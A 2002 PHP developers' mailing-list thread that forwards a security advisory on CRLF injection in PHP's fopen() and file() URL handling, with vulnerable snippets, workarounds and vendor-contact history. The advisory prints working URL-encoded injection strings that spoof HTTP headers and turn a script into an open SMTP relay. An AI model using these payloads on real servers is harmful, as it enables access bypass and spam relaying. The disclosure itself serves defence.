Hey,

AFAIK Stefan already took care of this.
Stefan?

Derick


On Thu, 12 Sep 2002, Yasuo Ohgaki wrote:

> FYI
> 
> We got close one that Jani mentioned in bug db :)
> 
> It's user's problem, but I'm sure there are many
> scripts do not check user input enough.
> 
> We're probably better to mention security risks more
> in the manual...
> 
> --
> Yasuo Ohgaki
> 
> -------- Original Message --------
> Subject: PHP fopen() CRLF Injection
> Date: Mon, 9 Sep 2002 23:23:01 +0200 (CEST)
> From: Ulf Harnhammar <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> 
> PHP fopen() CRLF Injection
> 
> 
> PROGRAM: PHP
> VENDOR: The PHP Group <[EMAIL PROTECTED]>
> HOMEPAGE: http://www.php.net/
> VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
> IMMUNE VERSIONS: none, but workarounds exist
> SEVERITY: medium
> 
> 
> DESCRIPTION:
> 
> "PHP is a widely-used Open Source general-purpose scripting language
> that is especially suited for Web development and can be embedded
> into HTML. Its syntax draws upon C, Java, and Perl, and is easy
> to learn. PHP runs on many different platforms and can be used
> as a standalone executable or as a module under a variety of Web
> servers. It has excellent support for databases, XML, LDAP, IMAP,
> Java, various Internet protocols, and general data manipulation,
> and is extensible via its powerful API."
> 
> (direct quote from the program's project page at Freshmeat)
> 
> PHP is published under the terms of The PHP License. It is installed
> on millions of web servers.
> 
> 
> SUMMARY:
> 
> fopen(), file() and other functions in PHP have a vulnerability
> that makes it possible to add extra HTTP headers to HTTP
> queries. Attackers may use it to escape certain restrictions,
> like what host to access on a web server. In some cases, this
> vulnerability even opens up for arbitrary net connections, turning
> some PHP scripts into proxies and open mail relays.
> 
> 
> TECHNICAL DETAILS:
> 
> PHP has several functions that take filenames as one of their
> arguments: fopen(), file() and some others. If allow_url_fopen is
> set to On in php.ini, those functions also accept URLs instead of
> regular files, and they connect to the server in question with the
> correct protocol. This functionality is vulnerable to some CRLF
> Injection attacks.
> 
> 
> 1) We start with the simple attacks. Let's say that this PHP snippet
> is saved as snippet.php:
> 
> <?php
> 
> echo '<pre>';
> 
> print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind";));
> 
> echo '</pre>';
> 
> ?>
> 
> If an attacker surfs to:
> 
> snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
> site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
> %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
> (should be on one line)
> 
> this HTTP query will be sent to www.site1.st:
> 
> GET /api?sunnan=visby&vind=gotland HTTP/1.0
> Host: www.site2.st
> User-Agent: Ulf/0.0
> Referer: http://www.gnuheter.org/
> Cookie: user=ulf
> 
>   HTTP/1.0
> Host: www.site1.st
> User-Agent: PHP/4.1.2
> 
> As you can see, the real headers from PHP are sent as well, but
> the web server ignores them, as we send two CRLFs before them to
> indicate that the headers are over.
> 
> Using this technique, we can add arbitrary user agents, referers and
> cookies. We can also break out of restrictions and access site2.st
> instead of the site site1.st that snippet.php tries to restrict us
> to, if site1.st and site2.st are virtual hosts on the same machine.
> 
> 
> 2) If the PHP script is even worse, like this one called dotcom.php:
> 
> <?php
> 
> $fp = fopen($url, 'r');
> fpassthru($fp);
> 
> ?>
> 
> we can connect to arbitrary ports and send (almost) arbitrary
> commands, thus turning the dotcom.php script into a proxy and an
> open mail relay.
> 
> If we surf to:
> 
> dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
> my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
> TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
> PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
> (should be on one line)
> 
> the PHP interpreter will connect to mail.site1.st on port 25,
> and send the following commands:
> 
> GET / HTTP/1.0
> HELO my.own.machine
> MAIL FROM:<[EMAIL PROTECTED]>
> RCPT TO:<[EMAIL PROTECTED]>
> DATA
> i will never say the word PROCRASTINATE again
> .
> QUIT
> 
>   HTTP/1.0
> Host: mail.site1.st:25
> User-Agent: PHP/4.1.2
> 
> Both PHP and the MTA will complain, but the mail is still sent.
> 
> 
> FURTHER READING:
> 
> For more information about this group of problems, read my "CRLF
> Injection" paper, which is available at
> http://online.securityfocus.com/archive/1/271515
> 
> 
> COMMUNICATION WITH VENDOR:
> 
> All contact methods I could find were very public, like mailing
> lists and bug tracking systems. I ended up entering this security
> hole into their bug tracking system (as number 19160) on the 28th
> of August. The PHP developers are working on fixing this bug, but
> nothing have been committed to their CVS yet. I am releasing this
> anyway, as it is already public in their bug tracking system and
> as Matthew Murphy has published a related hole in PHP recently,
> thus making it more likely that some blackhat will find this too.
> 
> 
> WORKAROUNDS:
> 
> One solution is to make sure that all variables that are used in this
> type of URL are clean, by including this command in your PHP scripts:
> 
> $var = preg_replace('/\\s+/', '', $var);
> 
> Another solution: if your scripts don't need to access URLs
> like files, you can switch off that functionality by setting
> allow_url_fopen to Off in php.ini.
> 
> 
> // Ulf Harnhammar
> [EMAIL PROTECTED]
> http://www.metaur.nu/
> 
> 
> 
> 
> 
> -- 
> PHP Development Mailing List <http://www.php.net/>
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---------------------------------------------------------------------------
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---------------------------------------------------------------------------
                 PHP: Scripting the Web - [EMAIL PROTECTED]
                    All your branches are belong to me!
                SRM: Script Running Machine - www.vl-srm.net
---------------------------------------------------------------------------


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, visit: http://www.php.net/unsub.php

Reply via email to